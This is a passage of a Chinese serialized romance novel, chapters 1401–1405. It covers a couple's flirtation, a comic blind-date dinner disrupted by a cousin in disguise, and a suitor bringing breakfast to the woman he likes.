“那不一样嘛……”温栩栩脸颊微红,小声辩解,“许愿是朋友,你是不一样的……” “不一样?”黎云笙挑眉,眼底带着点促狭的笑意,故意凑近她,唇几乎要贴上她的唇,“那现在告诉我,在你心里,谁最重要?” 温栩栩看着他眼底那抹促狭的笑意,知道他又在逗她,忍不住伸手轻轻推了他一把:“你自己心里不清楚吗?当然是……” 可她还是凑近他,唇轻轻贴上他的耳垂,小声说:“当然是你重要啊。” 黎云笙听着她这句“当然是你最重要”,心里那股翻腾的委屈和醋意,像被春日暖阳照拂的薄冰,瞬间消融得一干二净。 他低头,再次吻住她的唇,这一次,吻里没有了刚才的怒意与惩戒,只剩下浓浓的爱意与缠绵他的唇瓣带着恰到好处的温度,轻轻覆在她的唇上,从轻柔的碾磨到深入的缠绵,指尖也从她后颈缓缓滑落,温柔地扣住她的腰际,带着满满的占有欲,却又满是小心翼翼的珍视。 温栩栩也很喜欢他的吻。 喜欢他唇瓣间淡淡的薄荷香,喜欢他指尖落在肌肤上的温度,喜欢这种被他紧紧拥在怀里的安全感。 可即便如此,她心里还是忍不住冒出个念头。 黎云笙这个人,真的是亲亲狂魔吧。 一个控制不住就要亲亲,另一个控制不住又要亲亲的,仿佛吻是他表达爱意最直接、最频繁的方式。 刚才还因为“许愿最重要”的玩笑闹得有点小情绪,可一个吻下来,所有的不愉快都烟消云散,只剩下满心的甜蜜与柔软。 不过……她也确实很喜欢就是了,喜欢这种被他用吻包裹着的感觉,喜欢这种两人世界里只剩下彼此呼吸的瞬间。 正亲得忘我,温栩栩整个人都软乎乎地陷在黎云笙怀里,眼尾被吻得染上一层湿润的水汽,那是最真实的生理反应,是被他的温柔与爱意撩拨出的动容。 她指尖轻轻勾着他的衣领,呼吸变得愈发绵长,连思绪都像被他的吻搅得模糊起来,仿佛整个世界都只剩下他温热的怀抱和唇齿间的温度。 一阵突兀的手机铃声骤然响起,温栩栩浑身一僵,下意识地想从黎云笙怀里退开,脸颊还带着未散的绯红,眼底满是被打扰的懊恼。 她伸手去摸放在中控台上的手机,指尖还有点发颤,刚才那个吻,真的让她有点“招架不住”。 屏幕亮起,来电显示是“墨澜”。 温栩栩心里“咯噔”一下,立刻想起今晚来参加这场拍卖会的原因。 墨澜今晚邀请她一起来参加拍卖会,根本不是真的为了什么艺术品,纯粹是不想自己去参加后续的相亲宴,才拉了她当“挡箭牌”,让她帮忙“捣乱”的。 可谁能想到,拍卖会现场会突然撞见黎云笙,而黎云笙更是直接不管不顾地把她带走了,连声招呼都没跟墨澜打,这下可好,墨澜怕是等急了,都找上门来了。 她指尖顿了顿,刚想按下接听键,就听见身旁的黎云笙轻嗤了一声,语气里带着点明显的不悦,对着手机那头的方向开口:“还没找你算你给温栩栩送礼服的事,你就自己找上门了?” 手机那头的墨澜显然没料到接电话的会是黎云笙,沉默了一瞬,才反应过来,唇角忍不住抽了抽,语气里满是无奈和一点小小的不服气:“我那算什么送礼服啊?那是拜托温栩栩帮忙,结果被她‘坑’了一套礼服,谢谢。” 他故意把“坑”字咬得重了些,仿佛在强调自己才是“受害者”。 黎云笙顿了顿,低头看向怀里的温栩栩,眼底带着点询问的意味,“到底是怎么回事?” 温栩栩立刻开口,脸颊还贴着他的胸膛,声音带着点刚被吻过的软糯,却理直气壮得不行:“谁让他找我帮忙来参加拍卖会的?难不成我自己准备衣服吗?我现在好歹是个女明星啊,如果穿的便宜了,或者穿了小牌子,肯定要被那些媒体和同行嘲笑,说我不懂规矩、不尊重场合,那到时候丢的可是我自己的脸。既然他让我帮忙,那让我穿他准备的礼服,这不是天经地义的吗?那就该墨澜给我买礼服嘛!” 她说得头头是道,甚至还微微仰起头,眼巴巴地望着黎云笙,仿佛在寻求认同。 你看,我这要求很合理吧?墨澜准备的礼服,我穿了,帮他撑了场子,他给我买一套礼服,这不是互惠互利吗? 黎云笙看着她这副理直气壮又带着点小狡黠的模样,眼底忍不住泛起笑意,刚才因为来电被打扰的不悦也消散了不少。 他伸手轻轻捏了捏她的脸颊,指尖感受着那细腻的温度,才对着手机那头的墨澜开口,语气依旧带着点淡淡的不悦,却多了几分调侃:“温栩栩,你这算盘打得还挺响。” 墨澜在电话那头听得清清楚楚,忍不住“啧”了一声,语气里满是无奈:“温栩栩,你现在有点过于得意了你知道吗。” 温栩栩却不服气,立刻反驳:“那又怎么样?你让我帮你的,你出套礼服怎么了,你墨大少爷还买不起一套礼服吗?而且你让我跟其他人撞衫我都没说你呢。真小气。” “我小气?”墨澜差点被气笑了,语气里满是哭笑不得,“温栩栩,你这逻辑可真够独特的。再说了,你跟黎云笙走了,把我一个人扔在拍卖会现场,你知不知道我后面多尴尬?我还得应付那些问你去哪了的人,还得应付那个相亲对象,温栩栩,到底是来帮我的还是来给我添乱的?” 温栩栩听着墨澜的抱怨,心里也知道自己确实有点“坑”了他,刚才只顾着跟黎云笙闹脾气,忘了墨澜还在等她。 她脸颊微红,小声嘟囔了一句:“我……我这不是被黎云笙带走了嘛,也没想到会这样……” 对,没错,就是黎云笙的锅。 第1401章 肯定没干正经事 温栩栩却不服气,立刻反驳:“那又怎么样?你让我帮你的,你出套礼服怎么了,你墨大少爷还买不起一套礼服吗?而且你让我跟其他人撞衫我都没说你呢。真小气。” “我小气?”墨澜差点被气笑了,语气里满是哭笑不得,“温栩栩,你这逻辑可真够独特的。再说了,你跟黎云笙走了,把我一个人扔在拍卖会现场,你知不知道我后面多尴尬?我还得应付那些问你去哪了的人,还得应付那个相亲对象,温栩栩,到底是来帮我的还是来给我添乱的?” 温栩栩听着墨澜的抱怨,心里也知道自己确实有点“坑”了他,刚才只顾着跟黎云笙闹脾气,忘了墨澜还在等她。 她脸颊微红,小声嘟囔了一句:“我……我这不是被黎云笙带走了嘛,也没想到会这样……” 对,没错,就是黎云笙的锅。 黎云笙听着两人的对话,眼底满是笑意,伸手轻轻揉了揉她的头发,带着点安抚的意味,才对着墨澜开口,语气缓和了些,却依旧带着点淡淡的“警告”:“墨澜,错的不是温栩栩,是你。” 简直就是完全不讲道理了。 墨澜在电话那头翻了个白眼,但也知道黎云笙说得在理。 毕竟温栩栩是黎云笙的人,他偷着让温栩栩帮自己,确实不占理了。 温栩栩一听他松口,立刻开心起来,连忙说:“没事没事,就是黎云笙有点小误会,现在已经说清楚了。墨澜,你放心,相亲宴我肯定去!我现在就让黎云笙送我过去,绝对不会让你一个人面对那个相亲对象的,你就等着我给你‘撑场子’吧!” 墨澜听着她话,忍不住笑了:“行,那你快点过来。不过……”他顿了顿,语气里带着点调侃,“你跟黎云笙先别在车上‘磨蹭’了,我可不想再等你一个小时。” 温栩栩脸颊一红,立刻反驳:“谁在磨蹭了!我们这就过去!” 说完,她赶紧挂了电话,脸颊红得像熟透的苹果,伸手轻轻推了黎云笙一把:“都怪你,墨澜都等急了。” 黎云笙看着她这副娇嗔的模样,忍不住低笑出声,伸手轻轻捏了捏她的脸颊:“怪我?刚才某人可是理直气壮地让墨澜给你买礼服呢,怎么现在又怪我了?” 温栩栩脸颊更红了,伸手去捂他的嘴:“不许笑!我那是有理有据!再说了,你刚才也同意了,说墨澜该出钱的。” 黎云笙抓住她的小手,放在唇边轻轻吻了吻,眼底满是宠溺:“好好好,你说得对,墨澜该出钱。不过……”他顿了顿,凑近她耳边,声音带着点低沉的沙哑,“要不要继续?” 温栩栩浑身一僵,脸颊瞬间更红了,伸手轻轻推了推他:“别闹了,墨澜还在等我们呢,赶紧送我去回去。” 黎云笙看着她这副害羞又着急的模样,忍不住又低头在她唇上轻轻啄了一下,带着点淡淡的不舍:“好,送你过去。不过……温栩栩,今晚的事,咱们之后再算。” 温栩栩听着这句“之后再算”,心里莫名地有点发虚,却还是硬着头皮点头:“算就算,谁怕谁啊!” 墨澜的相亲宴定在了华庭,这地方对他来说再熟悉不过。 地点是墨家人定的,倒不是墨家人天天催他结婚,像催着墨澜赶紧找个人结婚生子,而是最近墨澜的工作实在太多了,从早到晚连轴转,连喘口气的时间都没有。 谈恋爱?根本没那个精力和时间。 墨家人更担心的是另一件事。 娱乐圈里漂亮的男孩女孩实在太多了,墨澜整天泡在这样的环境里,万一哪天审美“偏”了,或者干脆就“变弯了”怎么办? 毕竟,娱乐圈里这样的事也不是没发生过,就像成唯,不就被黎云笙那些私生子兄弟包过,闹得沸沸扬扬的。 墨澜自己倒没把家人的担忧当回事,他今天来参加相亲宴,纯粹是推脱不掉了,只能来“转一圈”,走个过场,应付一下家里人。 他甚至连要见的相亲对象是谁、长什么样都一无所知。 毕竟,他心里压根就没把这件事放在心上,只想着待会随便聊几句,找个借口就撤,省得家里人再唠叨。 可等他站在华庭的门口,看着温栩栩从黎云笙的车上下来时,墨澜捏了捏眉心,只觉得头更疼了。 黎云笙居然还跟在温栩栩身后,一身笔挺的西装,步子不紧不慢地跟着,那架势,摆明了是打算跟着温栩栩一起上去的。 刚才在电话里就听出来黎云笙要送温栩栩过来,墨澜还想着,到了地方,黎云笙总该走了吧?结果这人倒好,一点没打算离开的意思,简直像块黏在温栩栩身后的影子,真是走哪儿跟到哪儿啊! 墨澜看着两人并肩走过来,目光落在温栩栩身上时,他能明显感觉到,温栩栩的唇瓣有点发红,不是那种涂了口红的红,而是被吻得有点发肿的红,带着点娇软的水润感。 不是傻子都能猜到,刚才在车里,这两人肯定没干正经事。 墨澜心里暗暗翻了个白眼,不过也没多问,毕竟这是人家两人的私事,他这个外人,没必要多嘴。 他看着温栩栩,目光又忍不住落在她身上那套礼服上,盯着看了好几秒,实在没忍住,啧了一声,语气里满是无奈和一点小小的“怨念”:“至于吗?还要把我送的礼服换掉?” 他送的那套礼服虽然比不上拍卖会现场那些顶级高定,但放在平时的宴会上,绝对算得上是亮眼的存在。 可现在温栩栩穿的这套,明显是另一套,价值比他送的那套高了不止一个档次。 墨澜这话一出口,黎云笙整个人立刻冷淡下来,语气像浸了冰的玉石,透着股不容置疑的强势:“太便宜。” 墨澜:“?” 他差点没反应过来,瞪大了眼睛看着黎云笙,心里一阵无语。 有毛病吗?那礼服哪里便宜了?怎么到黎云笙嘴里,就成了“太便宜”?这人是不是对“便宜”有什么误解?还是说,纯粹就是想为难他? 第1402章 礼服被撕坏了 墨澜嗤了一声,追问了一句:“那套礼服呢?” 黎云笙淡淡地瞥了他一眼,眼神里带着点漫不经心,仿佛在说一件再平常不过的事:“撕坏了。” 墨澜:“……” 他整个人都僵住了,盯着黎云笙又看了好几眼,只觉得眼前一阵发黑。 撕坏了?黎云笙居然说撕坏了? 他们两个……到底在车里干了什么,还能把衣服撕坏的? 墨澜心里一阵翻腾,既觉得无语,又觉得有点好笑,更多的是无奈。 这两人也太肆意了吧? 他捏了捏眉心,只觉得头疼得更厉害了,看着眼前的黎云笙和温栩栩,无奈地叹了口气,语气里满是“认输”的味道:“行,你们两个……玩得开心。” 他实在不知道该说什么了,这两人,一个是自己的朋友,一个是朋友的男朋友,还都是不好惹的主,他还能怎么办?只能认了呗。 温栩栩听着两人的对话,脸颊又忍不住红了红,伸手轻轻扯了扯黎云笙的袖子,小声嘀咕:“哪有撕坏啊,就是不小心勾破了……” 黎云笙低头看了她一眼,眼底带着点淡淡的笑意,伸手轻轻揉了揉她的头发,语气却依旧对墨澜不怎么客气:“就是撕坏了。” 墨澜听着这话,只觉得心里一阵无奈,摆了摆手,不想再跟黎云笙争辩。 跟这人讲道理,根本讲不通,他还是省点力气,想想待会怎么应付相亲对象吧。 他看着温栩栩,语气软了下来:“行了,别管他了。走吧,进去吧,里面人应该都到齐了,我爸妈也在。” 温栩栩点了点头,跟着墨澜往里走,黎云笙依旧不紧不慢地跟在她身后,像影子。 墨澜回头看了他一眼,忍不住又提醒了一句:“黎云笙,你待会就别跟着进去了吧?我这是相亲宴,你跟着进去算怎么回事?” 黎云笙挑了挑眉,语气理直气壮:“温栩栩是我的人,她去哪,我就去哪。再说了,我只是进去喝杯酒,又不会打扰你相亲。” 墨澜:“……”他彻底无语了,可又拿他没办法。 毕竟,黎云笙的身份摆在那里,他就算想赶人,也赶不走。 他只能无奈地摇了摇头,带着两人往包厢走。 走进包厢,相亲对象已经到了,只是看着有些“壮”但相貌还是极好的。 墨澜挑了下眉开口道:“赵小姐?” “赵小姐”抬头看向他,眼底明显带着几分冷淡,显然也不是想来参加这相亲宴的,像是被逼的。 墨澜看出来了,还没等墨澜再说话,“赵小姐”冷声道:“你相亲就相亲,带这么多人过来是什么意思?围观的?” “赵小姐”明显脾气不小。 墨澜面上还带着笑意找了位置坐下,此刻却没立刻开口说话,只是勉强的笑了下说:“赵小姐,你不是我喜欢的类型,所以我们之间可能……” 话都还没说完“赵小姐”就“哦”了一声:“刚巧你也不是我喜欢的类型,行了别啰嗦了赶紧上菜吃饭,饿死我了。” 这一瞬间墨澜都以为自己听错了。 啊?不是说要来相亲的吗? 怎么相亲瞧着完全不像是对他有意思的样子?爸妈可不是这么说的。 黎云笙倒是半点不客气,压根没把墨澜这边相亲宴的尴尬氛围当回事,抬手叫来侍应生,语气淡淡:“可以上菜了。” 这话一出,墨澜刚端起的茶杯顿在半空,眼神里满是错愕。 他压根没跟侍应生提过上菜的事,黎云笙哪来的这权限? 可侍应生却应得格外痛快,转身就去后厨传话了。 坐在对面的“赵小姐”见黎云笙行事如此利落,倒多了几分满意,心里暗忖这人办事效率高,连带着对这顿饭也多了几分期待. 可当侍应生端着第一道菜上来时,“赵小姐”的笑容瞬间僵在脸上,连带着墨澜的表情也从错愕转成了难以置信。 只见那托盘里摆着的,竟是一盘翠绿得发亮的香菜凉菜,香菜堆得跟小山似的,几乎看不见半点辅料. 紧接着第二道、第三道……折耳根拌着辣椒油,臭豆腐带着浓烈的发酵气味,甚至还有切块的榴莲,金黄的果肉摆在白瓷盘里,那股子“独特”的味道混着前几道菜的气息. 墨澜看着满桌奇奇怪怪的菜,心里一阵发懵. 他明明提前跟酒店沟通过,定的是一套精致的粤菜宴席,怎么端上来的全是这些“重口味”菜品? 他下意识地扫了一圈,好不容易在角落里找到了一道拍黄瓜,那翠绿的黄瓜片沾着蒜泥和香油,反倒成了这满桌“奇葩”里唯一能入口的菜,看得他心里一阵唏嘘。 “赵小姐”彻底傻眼了,脸上的笑容早就消失得无影无踪,只剩下错愕和恼怒,对方猛地一拍桌子,发出“砰”的一声响。 她死死盯着墨澜,咬牙切齿地质问:“墨影帝,你就请我吃这个?这就是你所谓的‘相亲宴’?” 墨澜心里一阵冤枉,差点脱口而出“对啊,我这么抠门吗?我没想请她吃这个啊!” 可话到嘴边又咽了回去。 他总不能说这是黎云笙的“杰作”,毕竟黎云笙是温栩栩的男朋友,他要是这么说,显得自己多小气似的。 他只能强忍着尴尬,试图解释:“这个……可能是酒店上错了,我这就让他们换……” 可“赵小姐”根本不听他的解释,只当他是心虚,嘲讽的话脱口而出:“墨影帝如果实在是穷得揭不开锅了可以直说,我不介意施舍你一些。” 墨澜听着这话,心里一阵憋闷,只觉得这“赵小姐”的嘴巴也太毒了。 他墨澜在娱乐圈混了这么多年,哪至于抠门到这种程度?可还没等他开口辩解,余光里瞥见了对面黎云笙和温栩栩面前的摆设,瞬间愣住了。 只见黎云笙和温栩栩面前,摆着一份份精致到极致的餐点,每一份都用小巧的青花瓷碟装着,碟子里的东西不过一口的量,却做得格外讲究。 有捏成花瓣形状的虾饺,晶莹剔透的皮里裹着鲜嫩的虾仁,有撒着金箔的鹅肝酱,搭配着烤得酥脆的面包片,还有小巧的三文鱼寿司,鱼肉新鲜得仿佛还带着海水的咸鲜味,旁边甚至还摆着一小碟樱花造型的甜品,精致得像艺术品。 第1403章 相亲 这些餐点,竟然全都摆在温栩栩面前,黎云笙只是坐在一旁,偶尔帮她递一下餐具,眼神里满是温柔。 墨澜:“……?” 他彻底懵了,心里满是疑问。 这到底是怎么回事? 黎云笙自己点的奇葩菜,却给自己和温栩栩准备了这么精致的餐点? 这是故意让他难堪,还是有什么别的用意? “赵小姐”也注意到了对面的精致餐点,脸色瞬间变得更难看了,眼神里满是质疑和愤怒,她瞪着黎云笙和温栩栩,声音都拔高了几分:“你们这是什么意思?故意羞辱我?” 黎云笙却像是没听出她话里的怒火似的,依旧保持着淡淡的微笑,语气轻飘飘的:“你们继续。”那副模样,仿佛眼前的混乱跟他毫无关系,只是个看热闹的旁观者。 “赵小姐”气得浑身发抖,再也坐不住了,猛地站起来就要走。 她可受不了这种“被羞辱”的待遇,更受不了满桌的奇葩菜味。 可她刚一站起来,脚下一滑,身体失去平衡,踉跄了两步,她头顶的假发突然掉了下来,露出底下一片稀疏的黑发,甚至还能看到头皮。 温栩栩看着这一幕,忍不住“哇哦”了一声,眼睛瞪得圆溜溜的。 她还是第一次遇到这么精彩的剧情,比电视剧里的反转还刺激,简直让人猝不及防。 “赵小姐”。 不,现在应该说是“他”猛地回头瞪着温栩栩,眼神里满是恼羞成怒,还带着点心虚,气呼呼地吼道:“看什么看,没看过帅哥吗!”他这一开口,原本尖细的女声瞬间变成了低沉的男声,彻底暴露了身份。 很好,不是“赵小姐”了,成男人了! 这反转来得太过突然,连墨澜都愣住了,半天没反应过来。 这相亲对象居然是个男人?还戴着假发来冒充女人? 黎云笙却像是早就知道似的,看着眼前的场景,眼底闪过一丝了然,语气依旧淡淡的:“苏文远,你能耐了?赵莹莹被你藏哪里去了?她不来相亲让你来?还是你把人藏了出来胡闹?” 被唤作“苏文远”的男人一听黎云笙叫出自己的名字,原本还硬撑着的气势瞬间矮了半截,像是被戳穿了谎言的孩子,气呼呼地重新坐回椅子上,连着瞪了墨澜几眼,眼神里满是怨气,仿佛这一切都是墨澜的错。 墨澜被他瞪得一脸懵,心他哪知道这苏文远是谁啊?怎么莫名其妙就瞪自己?难道这苏文远把自己相亲宴搅合得乱七八糟的,现在还发脾气? 他越想越觉得好笑,嘴角忍不住抽了抽,这苏文远也太搞笑了吧?自己搞砸了相亲宴,还一副受害者的样子? “苏文远?你是哪个?”墨澜直接开口问,他总得知道这人是谁,才能弄清楚到底怎么回事吧? 苏文远咬了咬牙,像是下了很大决心似的,开口解释:“我就是想看看赵家想让莹莹姐姐嫁给哪个老男人,谁知道是个抠门事儿精吃不起饭的混蛋老男人呢!” 他语气里的怨气更浓了,还特意强调了“抠门”“事儿精”“混蛋老男人”,显然是把墨澜当成了“赵莹莹”的相亲对象,心里满是不满。 墨澜:“……”他彻底无语了,心里一阵翻腾。 这都什么跟什么啊? 他墨澜才三十出头,就被叫成“老男人”了?还“抠门事儿精”?这苏文远到底是从哪儿看出来的?他刚才明明还想解释是酒店上错菜了,结果被这苏文远一顿抢白,现在连解释的机会都没有了。 黎云笙听着两人的对话,实在没忍住,唇角微微弯了起来,显然是在看热闹。 他看着苏文远那副气呼呼又心虚的模样,又看了看墨澜一脸无奈的样子,眼底满是笑意。 这场相亲宴,比他预想的还要精彩。 温栩栩也忍不住捂着嘴笑,小声跟黎云笙说:“你是不是早就知道他是苏文远啊?” 黎云笙低头看了她一眼,眼底带着点宠溺,声音压低了几分:“嗯,刚才在外面的时候,就看出来这‘赵小姐’的假发戴得不太自然,而且走路的姿势也不太像女人。” 温栩栩忍不住又看了看苏文远,小声说:“那他为什么要冒充赵莹莹啊?” 黎云笙轻轻摇了摇头,语气里带着点无奈:“应该是为了阻止赵莹莹和墨澜相亲吧。听说赵家和苏家有些交情,苏文远和赵莹莹关系不错,可能是不想让赵莹莹嫁给墨澜,觉得墨澜不合适。” 墨澜心里一阵无奈:“苏先生,你能不能先把事情说清楚?你冒充赵莹莹来相亲,还让酒店上了这些奇怪的菜,到底是什么意思?还有,赵莹莹现在在哪里?” 苏文远见墨澜问得认真,也知道瞒不过去了,只好低着头,小声解释:“莹莹姐姐根本就不想和你相亲,是赵家逼她的。她今天一早给我打电话,说要是实在推不掉,就让我帮她冒充一下,随便找个理由搅合了这顿饭。至于那些菜……是我故意让酒店上的,我想着要是菜难吃,你肯定就生气了,自然就不会和莹莹姐姐继续相亲了。” 哪会有这么离谱的理由啊,因为菜难吃就生气不相亲了? 墨澜听着这解释,心里一阵哭笑不得。 原来这一切都是苏文远的“计划”,就是为了阻止赵莹莹和自己相亲?可他墨澜又不是洪水猛兽,赵莹莹要是不想来,直接拒绝不就行了,何必这么麻烦?还让苏文远冒充,搞出这么多乱子? 墨澜看着重新摆上桌的精致粤菜宴席,心里却没半点轻松。 他本想着借这顿相亲宴,哪怕不成,也能跟赵家有个体面的交代,结果却被苏文远这么一搅合,不仅闹出假发掉地的笑话,还差点让满桌奇葩菜成了“相亲纪念”,简直是倒霉透顶。 他捏了捏眉心,只觉得太阳穴突突直跳,看着对面依旧一脸无辜的苏文远,又看了看气定神闲的黎云笙,忍不住开口问道:“云笙,你到底是怎么认出苏文远的?他这假发戴得还挺像那么回事,走路姿势也没多大破绽,我都没看出来。” 第1404章 从小揍到大的那种表弟 黎云笙闻言,端起茶杯抿了一口,茶香氤氲里,他的眼神带着几分淡然的笑意。 他缓缓开口道:“苏文远是我远方表弟。”说到这里,他特意顿了顿,目光意味深长地落在苏文远身上,“从小揍到大的那种表弟。” 这话一出,苏文远瞬间炸毛了,原本还低着头装乖的模样立刻消失,猛地抬起头,不服气地“嗤”了一声,眼神里满是控诉:“黎云笙!你别乱说!谁让你揍我了?我那是让着你,懂不懂?” 可话刚说完,黎云笙只是淡淡地瞥了他一眼,苏文远瞬间就蔫了,脖子一缩,乖乖地坐回椅子上,可还是忍不住小声“哼哼”,肩膀一耸一耸的,明显觉得黎云笙当着这么多人的面揭他老底,让他丢脸丢大发了。 他好歹也是苏家的小少爷,哪能在墨澜、温栩栩,还有墨澜父母面前,被说成“从小被揍大的表弟”?这传出去,他以后还怎么在圈子里混? 墨澜听着两人的互动,心里一阵好笑,难怪黎云笙对苏文远这么熟悉,还能一眼识破他的假身份,原来竟是从小一起长大的表兄弟。 他看着苏文远那副又气又怂的模样,忍不住勾了勾嘴角,觉得这场乌龙宴倒是比原本预想的相亲有趣多了。 可黎云笙显然没打算给苏文远留半点面子,他放下茶杯,指尖轻轻敲了敲桌面,语气依旧淡淡的:“他嘴里没几句实话,这次说赵莹莹不想相亲,其实是他自己在中间搅合。赵莹莹大概被他找借口支走了,别看他现在装得可怜兮兮,其实就是个戏精,指不定心里正骂你呢,骂你‘老男人’‘抠门’,骂得可欢了。” 这话一出,苏文远彻底不装了,原本还低着头的脑袋猛地抬起来,瞪圆了眼睛,直接对着黎云笙呲牙咧嘴,那模样活像个被戳穿谎言的小兽,满脸写着“你别胡说”“我哪有”。他原本还想着,只要咬死是赵莹莹不想相亲,自己只是帮忙,就能蒙混过关,可黎云笙这一番话,直接把他的“小心思”全扒了出来,让他连装可怜的机会都没了。 墨澜听着黎云笙的话,又看了看苏文远这副“原形毕露”的模样,心里瞬间了然。 他之前就纳闷,苏文远一个外人,怎么会愿意冒充赵莹莹来相亲,还搞出这么多幺蛾子,原来是自己对赵莹莹有意思,怕赵莹莹跟自己相亲,才想方设法地搅黄这事儿。 他看着苏文远那副气急败坏的样子,心里一阵无奈,又觉得有点好笑。 这苏文远,为了阻止相亲,也是够拼的,可这手段也太“奇葩”了。 “行。”墨澜点了点头,语气里带着点无奈,又带着点“看穿一切”的了然。他看着苏文远,语气认真了些,“苏文远,你要是对赵莹莹有意思,就直接跟她说,或者跟赵家坦诚沟通,别搞这些弯弯绕绕的。苏家也不是拿不出手” 苏文远听着墨澜的话,脸颊一阵发烫,原本还呲牙咧嘴的气势瞬间弱了下去。 他低着头,手指绞着衣角,小声嘟囔:“我……我这不是怕莹莹姐姐不喜欢我嘛,要是直接说,她肯定会拒绝我,还不如先搅合了相亲,再慢慢跟她解释。” 墨澜叹了口气,语气缓和下来:“感情的事,靠躲和搅合是没用的。你要是真心喜欢赵莹莹,就该让她看到你的诚意,而不是用这种让人误会的方式。今天的事,要是让赵家知道了,只会觉得你不够靠谱,更不会同意你和赵莹莹的事。” 苏文远听着墨澜的话,沉默了。 他其实也知道自己的做法不对,可就是一时冲动,怕赵莹莹跟墨澜相亲后,真的会答应赵家的安排。 现在被墨澜和黎云笙这么一说,他也觉得自己做得有点过了,不仅没帮到赵莹莹,还给自己惹了一身麻烦。 温栩栩看着苏文远那副委屈又懊恼的模样,忍不住笑着劝道:“墨澜说得对。感情的事要坦诚,你要是真的喜欢赵莹莹,就该大大方方地跟她表白,而不是躲在后面搞小动作。你看今天,不仅没搅黄相亲,还把自己搭进去了,多不划算。” 苏文远抬起头,看了看温栩栩,又看了看墨澜和黎云笙,最后叹了口气,彻底认了怂:“好吧,我知道了。我回去就跟莹莹姐姐说,要是她真的不喜欢我,我也认了。” 他说着,又偷偷瞥了黎云笙一眼,小声补了一句,“还有,黎云笙你下次别再提‘从小揍我’的事了,多丢人啊。” 黎云笙看着他这副“服软”的模样,眼底闪过一丝笑意,语气却依旧淡淡的:“行,只要你以后别再搞这种乌龙,我不提就是了。” 苏文远一听要赔钱,又忍不住“哼”了一声,可看着墨澜和黎云笙的眼神,又不敢再说什么,只能不情不愿地点了点头:“知道了。”他心里一阵后悔,早知道就不接这趟“差事”了,不仅没帮上赵莹莹,还被表哥当众“揭老底”,简直是亏到家了。 墨澜觉得自己这一天也是精彩,一会儿是这个事儿一会儿是那个事儿的,麻烦死。 送走了温栩栩和黎云笙才歇下来。 …… 许愿与盛景炎之间的关系,像一杯温在炉火上的茶,茶香氤氲却始终未沸。 说是在一起,可没一句正式的告白、没一次明确的牵手,说没在一起,可那些藏在眼神里的牵念、不经意间流露的偏爱,早已传得“众人皆知”。 所以当许愿第二天说要去见傅京礼时,盛景炎眼底的幽怨几乎藏不住。 所以因为这份不确定,让他从送许愿回家的那一刻起,就没打算离开。 许愿住的是学院附近的单身公寓,楼栋不算新,却因靠近图书馆和实验室,格外安静。盛景炎却没在意这些,直接抛出三倍的价格,买下了隔壁的公寓。 这操作若换作别的男人,许愿怕是早就报警了,她向来不喜欢被人穷追不舍,尤其反感这种带着“监视”意味的靠近。 第1405章 预谋 可偏偏是盛景炎,他总能用恰到好处的温柔和恰如其分的“理所当然”,让她卸下防备。她不是没察觉他的意图,只是心底那份隐隐的期待,让她默许了这份“近距离的守候”。 第二天清晨,天刚蒙蒙亮,窗外的梧桐叶还沾着露水,敲门声便轻轻响起,不疾不徐。 许愿走到门边,透过猫眼看到门外的人时,指尖顿了顿,盛景炎站在那里,一身藏青色的羊绒大衣衬得他身形挺拔,领口露出的白色衬衫领口熨得一丝不苟,连袖扣都泛着低调的银光。 他的头发打理得整齐,额前的碎发轻轻垂落,遮住一点眉峰,却让那双深邃的眼睛更显清亮。 最惹眼的是他手上的东西,左手拎着一个印着老字号标识的纸袋,隐约能闻到豆沙包的甜香,右手则提着一个保温桶,桶身的雾气顺着盖子缝隙飘出来,带着排骨粥的鲜香,脚边还放着一个牛皮纸袋,里面露出半截油条的金黄。 许愿拉开门的瞬间,早餐的香气扑面而来,混着盛景炎身上淡淡的雪松香,瞬间填满了门口的空间。 她明显愣了一下,目光在那些早餐上停留了几秒,才抬眼看向盛景炎,顿了顿才轻声道:“先进来。” 盛景炎嘴角扬起一抹浅笑,像是早就料到她的反应,自然地侧身往里走,语气里带着几分理所当然:“我觉得这些味道都不错,就全都买了给你尝尝看。” 他的动作流畅,没有丝毫生疏,仿佛这公寓本就是他的常来之地,这份“登堂入室”的坦然,让许愿想拦都拦不住。 等盛景炎把早餐一一摆上餐桌,许愿才后知后觉地反应过来,这哪是“顺便买来尝尝”,分明是早有预谋! 他故意拎着这么多东西,就是笃定她会让他进门。 许愿靠在厨房门边,看着他俯身摆放碗筷的身影,忍不住开口:“你这是故意的吧?” 盛景炎手上的动作没停,将最后一根油条放进盘子里,才转过身看向她,眼底带着几分狡黠,又带着点无辜:“故意什么?我只是觉得,你今天要去见傅京礼,可能会没时间好好吃早餐,就提前准备了。难道你不饿?” 他说话时,指尖轻轻拂过桌布的边缘,动作细致,连盘子与碗的距离都调整得恰到好处。 许愿看着他这副模样,有些无奈地笑了笑,走到餐桌旁坐下,伸手拿起一个豆沙包,轻轻咬了一口。 豆沙馅甜而不腻,外皮松软,是她喜欢的味道。 她抬眼看向盛景炎,见他正给自己倒了一杯温牛奶,动作自然得像是做过千百次,忍不住说:“盛景炎,你没必要这样。” “没必要?”盛景炎将牛奶推到她面前,自己也坐下,拿起一根油条,咬了一口,眼神却没离开她的脸,“许愿,我只是想让你在见傅京礼之前,能吃顿合胃口的早餐。这难道不是应该的吗?” 他的语气很轻,却带着一种不容置疑的认真,像是在阐述一个再普通不过的事实。 许愿被他的话噎了一下,低头喝了一口牛奶,温热的液体顺着喉咙滑下,却没能暖到心里那份莫名的情绪。 她知道盛景炎在意傅京礼,也知道他担心什么,可她与傅京礼之间,真的没什么特别的。 这次见面,也只是因为傅老爷子说想让两人见面,仅此而已。 可盛景炎看着她沉默的样子,眼底的幽怨淡了些,却多了几分温柔。 他伸手将盘子里最后一个豆沙包推到她面前,语气放缓:“我知道你和傅京礼只是见个面,我也没别的意思。只是……”他顿了顿,目光落在她垂下的眼睫上,声音轻了些,“只是不想让你饿肚子,也不想让你觉得,没人关心你吃没吃早餐。” 瞧瞧这话说的,太卑微太可怜了些,巧的是许愿就是会因为这个心疼。 许愿抬眼看他,见他眼底的认真不是装出来的,心里一软,轻声道:“我知道了。谢谢。” 盛景炎笑了笑,伸手拿起桌上的保温桶,又给她盛了一碗排骨粥,粥里炖着的排骨酥烂,汤汁浓稠,带着淡淡的姜香。 “尝尝这个,我让师傅多炖了会儿,排骨应该很烂。”他将粥碗放在她面前,指尖不经意间碰到了她的手背,温热的触感让两人都顿了一下。 许愿收回手,指尖还残留着他的温度,脸颊微微有些发烫。 她低头喝了一口粥,鲜香的味道在嘴里散开,心里的那点不安也淡了些。她看着盛景炎认真吃早餐的样子,突然觉得,这份暧昧虽悬在半空,却也带着一种说不出的安心。 